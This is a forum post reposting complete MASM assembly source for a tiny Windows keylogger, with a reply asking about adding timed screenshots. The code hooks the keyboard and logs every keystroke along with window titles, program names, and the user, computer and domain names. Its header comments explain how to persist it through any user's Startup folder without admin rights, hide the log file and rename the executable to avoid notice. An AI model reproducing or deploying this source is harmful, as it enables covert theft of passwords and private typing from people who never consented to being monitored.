Nytro Posted December 25, 2012 Report Posted December 25, 2012 [h=1]Basic key logger but very small[/h]By: [h=3]drew77[/h]This isn't fancy like some I have seen here, but it is less than 5000 bytes.I am interested in a keylogger that would save screenshots at adjustable intervals as well as typed input.;*******************************************************************************************; (BEST Viewed with NOTEPAD); CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved;; "We Don't NEED no STINKIN DLL!"......ENJOY! vist <a href="http://testing.OnlyTheRightAnswers.com" class="bbc_url" title="External link" rel="nofollow external">http://testing.OnlyTheRightAnswers.com</a>;; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook; This Program is for Educational Proof Of Concept Use ONLY!;; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration; this proof of concept was created. Log Items include:;; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in; the startup folder of any user, or for all users.;; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this; can be done automatically by simply placing the program in the:;; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder;; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt; ("You can change the File to Hidden if needed");; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off;; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level.;; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt;;*******************************************************************************************.386.model flat, stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\user32.incinclude \masm32\include\advapi32.incinclude \masm32\include\msvcrt.incinclude \masm32\macros\macros.asmincludelib \masm32\lib\user32.libincludelib \masm32\lib\kernel32.libincludelib \masm32\lib\advapi32.libincludelib \masm32\lib\msvcrt.lib;== Prototypes =================================================================KeyBoardProc proto :DWORD, :WPARAM, :LPARAM;== Prototypes =================================================================pushz macro szText:VARARGlocal nexticall nextidb szText,00hnexti:endm.dataCopyRight db "CopyRight 2005, ZOverLords@Yahoo.com"Vist db "http://testing.OnlyTheRightAnswers.com "hBuffer dd ?hComputerName db 32 dup(0)hCurrentThreadPiD dd 0hCurrentWindow dd 0hDateFormat db "dd MMM yyyy", 0hDomaineName db 128 dup(0)hFile dd 0hHook dd 0hmodul MODULEENTRY32 <>hSnapShot dd 0hTimeFormat db "hh:mm:ss tt", 0hUserName db 32 dup(0)msg MSG <>onlyOneCopy db "Global\zkl",0.codemain:invoke CreateMutexA,0,0,ADDR onlyOneCopy invoke GetLastError ; check to make sure we are the only copy runningcall GetLastError ; for fast user switching we still support onecmp eax,ERROR_ALREADY_EXISTS ; copy per user, but if we are the second copyje more_than_one_copy ; trying to start, we exitxor ebx, ebxinvoke RegisterHotKey, NULL, 0badfaceh, MOD_CONTROL or MOD_ALT, VK_F11 pushz "ab" ; append in binary mode pushz "ZKeyLog.txt" ; name of log file call fopen add esp, 2*4 ; all c lib functions need fixup.. ;mov [hFile], eax ; save our file number mov hFile,eaxinvoke GetModuleHandleA, NULLinvoke SetWindowsHookExA, WH_KEYBOARD_LL, ADDR KeyBoardProc, eax, ebxmov [hHook], eax ; ok here is our hook handle for laterinvoke GetMessageA, ADDR msg, NULL, NULL, NULLinvoke UnhookWindowsHookEx, hHookinvoke fclose, hFilemore_than_one_copy:invoke ExitProcess, 0h;##############################################################KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORDLOCAL lpKeyState[256] :BYTE LOCAL lpClassName[64] :BYTELOCAL lpCharBuf[32] :BYTE LOCAL lpDateBuf[12] :BYTE LOCAL lpTimeBuf[12] :BYTE LOCAL lpLocalTime :SYSTEMTIME;----------------------------lea edi, [lpKeyState] ; lets zero out our bufferspush 256/4pop ecxxor eax, eaxrep stosd ; sets us up for doubleword from EAXmov eax, wParamcmp eax, WM_KEYUP ; only need WM_KEYDOWNje next_hook ; bypass double loggingcmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWNje next_hook ; bypass double logginginvoke GetForegroundWindow ; get handle for currently used window ( specific to NT )cmp [hCurrentWindow], eax ; if its different to last one saved..je no_window_change ; bypass all the headingsmov [hCurrentWindow], eax ; save it for use now and compare laterinvoke GetClassName, hCurrentWindow, ADDR lpClassName, 64invoke GetLocalTime, ADDR lpLocalTimeinvoke GetDateFormat, NULL, NULL, ADDR lpLocalTime, ADDR hDateFormat, ADDR lpDateBuf, 12invoke GetTimeFormat, NULL, NULL, ADDR lpLocalTime, ADDR hTimeFormat, ADDR lpTimeBuf, 12invoke GetWindowThreadProcessId, hCurrentWindow, ADDR hCurrentThreadPiDinvoke CreateToolhelp32Snapshot, TH32CS_SNAPMODULE, hCurrentThreadPiDmov hSnapShot,eax mov hmodul.dwSize, sizeof MODULEENTRY32invoke Module32First,hSnapShot,addr hmodulinvoke CloseHandle,hSnapShotinvoke GetWindowText, hCurrentWindow, ADDR lpKeyState, 256 lea esi, [hmodul.szExePath] ; print the current program exe name push esi lea esi, [lpTimeBuf] ; print the formatted time push esi lea esi, [lpDateBuf] ; print the formatted date push esipushz 13,10,"[%s, %s - Program:%s]",13,10push [hFile] call fprintf ; write the buffer to cacheadd esp, 3*4lea esi, [lpClassName] ; print the current window class namepush esilea esi, [lpKeyState] ; print the current window titlepush esipushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10push [hFile] call fprintf ; write the buffer to cacheadd esp, 3*4mov hBuffer, 128 ; get the current domain nameinvoke GetComputerNameExA, 1, ADDR hDomaineName, ADDR hBuffermov hBuffer, 32 ; get the current computer nameinvoke GetComputerNameExA, 0, ADDR hComputerName, ADDR hBuffermov hBuffer, 32 ; get the current user nameinvoke GetUserName, ADDR hUserName, ADDR hBuffer lea esi, [hUserName] ; print the current user name push esi lea esi, [hComputerName] ; print the current computer namepush esilea esi, [hDomaineName] ; print the current domain namepush esi pushz "[ Domain:%s - Computer:%s - User:%s]",13,10 push [hFile]call fprintfadd esp, 3*4invoke fflush, hFileno_window_change:mov esi, [lParam] ; we don't want to print shift or capslock names.lodsd ; it just makes the logs easier to read without them.cmp al, VK_LSHIFT ; they are tested later when distinguishing betweenje next_hook ; bypass left shift Key for upper/lowercase characterscmp al, VK_RSHIFTje next_hook ; bypass right shift Keycmp al, VK_CAPITALje next_hook ; bypass caps lock Keycmp al, VK_ESCAPE je get_name_of_key ; we Want escape characterscmp al, VK_BACKje get_name_of_key ; we want backspace keycmp al, VK_TAB je get_name_of_key ; we want tab key;------------------lea edi, [lpCharBuf] ; zero initialise buffer for key textpush 32/4pop ecxxor eax, eaxrep stosd;----------lea ebx, [lpKeyState]push ebxcall GetKeyboardState ; get current keyboard stateinvoke GetKeyState, VK_LSHIFTxchg esi, eax ; save result in esiinvoke GetKeyState, VK_RSHIFTor eax, esi ; al == 1 if either key is DOWNmov byte ptr [ebx + 16], al ; toggle a shift key to on/offinvoke GetKeyState, VK_CAPITALmov byte ptr [ebx + 20], al ; toggle caps lock to on/offmov esi, [lParam]lea edi, [lpCharBuf]push 00hpush edi ; buffer for ascii characterspush ebx ; keyboard statelodsdxchg eax, edxlodsdpush eax ; hardware scan codepush edx ; virutal key codecall ToAscii ; convert to human readable characterstest eax, eax ; if return zero, continuejnz test_carriage_return ; else, write to file.get_name_of_key: ; no need for large table of pointers to get asciizmov esi, [lParam]lodsd ; skip virtual key codelodsd ; eax = scancodeshl eax, 16xchg eax, ecxlodsd ; extended key infoshl eax, 24or ecx, eaxpush 32lea edi, [lpCharBuf]push edipush ecxcall GetKeyNameTextA ; get the key textpush edipushz "[%s]"jmp write_to_filetest_carriage_return:push edipushz "%s"cmp byte ptr [edi], 0dh ; carriage return?jne write_to_filemov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.write_to_file:invoke fprintf, hFilenext_hook:invoke CallNextHookEx, hHook, nCode, wParam, lParamretKeyBoardProc ENDPend mainhFile dd 0invoke fclose, hFileC:\masm32\SOURCE\Log.asm(110) : error A2148: invalid symbol type in expression : fcloseSursa: Basic key logger but very small - rohitab.com - Forums Quote